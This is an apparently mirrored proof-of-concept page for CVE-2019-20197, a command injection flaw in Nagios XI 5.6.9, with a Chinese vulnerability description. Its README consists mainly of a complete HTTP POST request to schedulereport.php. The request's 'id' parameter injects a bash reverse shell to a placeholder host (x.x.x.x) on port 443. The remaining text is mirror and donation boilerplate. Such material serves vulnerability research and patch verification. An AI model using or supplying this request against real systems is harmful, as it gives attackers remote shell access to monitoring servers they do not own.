CVE-2019-20197 PoC — Nagios XI 操作系统命令注入漏洞

Source

https://github.com/lp008/CVE-2019-20197

Associated Vulnerability

Title:Nagios XI 操作系统命令注入漏洞 (CVE-2019-20197)
Description:Nagios XI是美国Nagios公司的一套IT基础设施监控解决方案。该方案支持对应用、服务、操作系统等进行监控和预警。 Nagios XI 5.6.9版本中存在安全漏洞。攻击者可通过向schedulereport.php文件发送带有shell元字符的‘id’参数利用该漏洞执行任意的操作系统命令。

Description

CVE-2019-20197

Readme

# Nagios XI远程命令执行漏洞(CVE-2019-20197)

# POC：


 POST /nagiosxi/includes/components/scheduledreporting/schedulereport.php HTTP/1.1
 
 Host: x.x.x.x
 
 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
 
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 
 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
 
 Accept-Encoding: gzip, deflate
 
 Cookie: nagiosxi=6l8idvsacv6ejiandm0ospub51
 
 DNT: 1
 
 Connection: close
 
 Upgrade-Insecure-Requests: 1
 
 Content-Type: application/x-www-form-urlencoded
 
 Content-Length: 466



 nsp=81ee683a90099cd27011d419da672cfc889d02903663742ccc8b1810c67f9784&update=1&id=a";bash -i >%26 /dev/tcp/x.x.x.x/443   
0>%261;&type=&url=%2Fnagiosxi%2Freports%2Feventlog.php%3Fsearch%3D%26reportperiod%3Dlast24hours%26startdate%3D%26enddate%3D&wurl=&userid=0
&length=0&sendonce=0&name=Eventlog+Report&frequency=Daily&hour=09&minute=00&ampm=AM&dayofweek=1&dayofmonth=1&attachments%5Bpdf%5D=on&recip
ients=root%40localhost&subject=Eventlog+Report&body=&updateButton=

File Snapshot


 [4.0K]  /data/pocs/cddb81784fdf371b643773a65dc772bfc6c69ec5
└── [1.0K]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!